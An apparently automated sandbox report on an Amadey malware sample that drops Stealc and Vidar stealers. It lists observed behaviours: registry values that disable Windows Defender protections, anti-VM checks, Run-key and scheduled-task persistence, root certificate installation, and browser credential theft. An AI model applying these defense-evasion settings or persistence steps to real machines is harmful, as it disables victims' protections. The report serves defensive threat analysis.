amadey | 86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	e9ccb8daa1.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	e9ccb8daa1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	e9ccb8daa1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	e9ccb8daa1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	e9ccb8daa1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	e9ccb8daa1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	e9ccb8daa1.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	e9ccb8daa1.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	e9ccb8daa1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	e9ccb8daa1.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

Query Registry

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9daa8ce51a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8045970a06.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e9ccb8daa1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5d0ced5341.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	1980	powershell.exe
8	2748	powershell.exe
9	2520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2504	powershell.exe
2476	powershell.exe
2564	powershell.exe
1980	powershell.exe
2748	powershell.exe
2520	powershell.exe

Downloads MZ/PE file 6 IoCs

flow	pid	Process
8	2748	powershell.exe
9	2520	powershell.exe
7	2992	rapes.exe
7	2992	rapes.exe
7	2992	rapes.exe
4	1980	powershell.exe

Uses browser remote debugging 2 TTPs 4 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
4032	chrome.exe
2372	chrome.exe
3540	chrome.exe
3748	chrome.exe

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5d0ced5341.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	9daa8ce51a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e9ccb8daa1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5d0ced5341.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e9ccb8daa1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	9daa8ce51a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8045970a06.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8045970a06.exe

Executes dropped EXE 12 IoCs

pid	Process
2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
2992	rapes.exe
1956	7ba969f541.exe
1124	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
2296	QL4t9UZ.exe
2692	483d2fa8a0d53818306efeb32d3.exe
2752	9daa8ce51a.exe
820	8045970a06.exe
2228	770a8152e2.exe
2716	e9ccb8daa1.exe
3240	5d0ced5341.exe
4040	f58b0dd405.exe

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	9daa8ce51a.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	8045970a06.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	e9ccb8daa1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	5d0ced5341.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Wine	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE

Loads dropped DLL 21 IoCs

pid	Process
1980	powershell.exe
2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
2992	rapes.exe
2748	powershell.exe
2992	rapes.exe
2992	rapes.exe
2520	powershell.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2992	rapes.exe
2680	WerFault.exe
2680	WerFault.exe
2680	WerFault.exe
2680	WerFault.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	e9ccb8daa1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	e9ccb8daa1.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\7ba969f541.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10318740101\\7ba969f541.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10318750121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\9daa8ce51a.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10319000101\\9daa8ce51a.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\8045970a06.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10319010101\\8045970a06.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\770a8152e2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10319020101\\770a8152e2.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows\CurrentVersion\Run\e9ccb8daa1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10319030101\\e9ccb8daa1.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00050000000194ef-31.dat	autoit_exe
behavioral1/files/0x0005000000019643-168.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3740	tasklist.exe
3876	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
2992	rapes.exe
1124	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
2692	483d2fa8a0d53818306efeb32d3.exe
2752	9daa8ce51a.exe
820	8045970a06.exe
2716	e9ccb8daa1.exe
3240	5d0ced5341.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	770a8152e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7ba969f541.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9daa8ce51a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	770a8152e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5d0ced5341.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8045970a06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	770a8152e2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e9ccb8daa1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	5d0ced5341.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	5d0ced5341.exe

Delays execution with timeout.exe 2 IoCs

pid	Process
3200	timeout.exe
1968	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

pid	Process
2528	taskkill.exe
1568	taskkill.exe
1324	taskkill.exe
2504	taskkill.exe
1740	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

defense_evasion spyware trojan

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_Classes\Local Settings	firefox.exe

Modifies system certificate store 2 TTPs 3 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	5d0ced5341.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	5d0ced5341.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	5d0ced5341.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2352	schtasks.exe
2852	schtasks.exe
768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
1980	powershell.exe
1980	powershell.exe
1980	powershell.exe
2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
2992	rapes.exe
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe
1124	TempUEZGZYBGAIYFHQJUHWMTIMITTGVXAXCB.EXE
2504	powershell.exe
2476	powershell.exe
2564	powershell.exe
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
2692	483d2fa8a0d53818306efeb32d3.exe
2752	9daa8ce51a.exe
2752	9daa8ce51a.exe
2752	9daa8ce51a.exe
2752	9daa8ce51a.exe
2752	9daa8ce51a.exe
820	8045970a06.exe
2228	770a8152e2.exe
2716	e9ccb8daa1.exe
2228	770a8152e2.exe
3240	5d0ced5341.exe
3240	5d0ced5341.exe
2716	e9ccb8daa1.exe
2716	e9ccb8daa1.exe
3240	5d0ced5341.exe
3240	5d0ced5341.exe
3240	5d0ced5341.exe
4032	chrome.exe
4032	chrome.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2504	taskkill.exe
Token: SeDebugPrivilege	1740	taskkill.exe
Token: SeDebugPrivilege	2528	taskkill.exe
Token: SeDebugPrivilege	1568	taskkill.exe
Token: SeDebugPrivilege	1324	taskkill.exe
Token: SeDebugPrivilege	1636	firefox.exe
Token: SeDebugPrivilege	1636	firefox.exe
Token: SeDebugPrivilege	2716	e9ccb8daa1.exe
Token: SeShutdownPrivilege	4032	chrome.exe
Token: SeShutdownPrivilege	4032	chrome.exe
Token: SeShutdownPrivilege	4032	chrome.exe
Token: SeShutdownPrivilege	4032	chrome.exe

Suspicious use of FindShellTrayWindow 58 IoCs

pid	Process
2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
2904	TempJ6ISIVLP2VAEPWVQIOEOXTBQ5FZKK7CH.EXE
1956	7ba969f541.exe
1956	7ba969f541.exe
1956	7ba969f541.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
1636	firefox.exe
1636	firefox.exe
1636	firefox.exe
1636	firefox.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe
4032	chrome.exe

Suspicious use of SendNotifyMessage 22 IoCs

pid	Process
2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe
1956	7ba969f541.exe
1956	7ba969f541.exe
1956	7ba969f541.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
1636	firefox.exe
1636	firefox.exe
1636	firefox.exe
2228	770a8152e2.exe
2228	770a8152e2.exe
2228	770a8152e2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 2584	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	30
PID 2044 wrote to memory of 2584	2044	86fdd59d0050c514f9e4ba5d7431cb65faa7db15f4c9ecbbd0e33b39c78c874a.exe	30
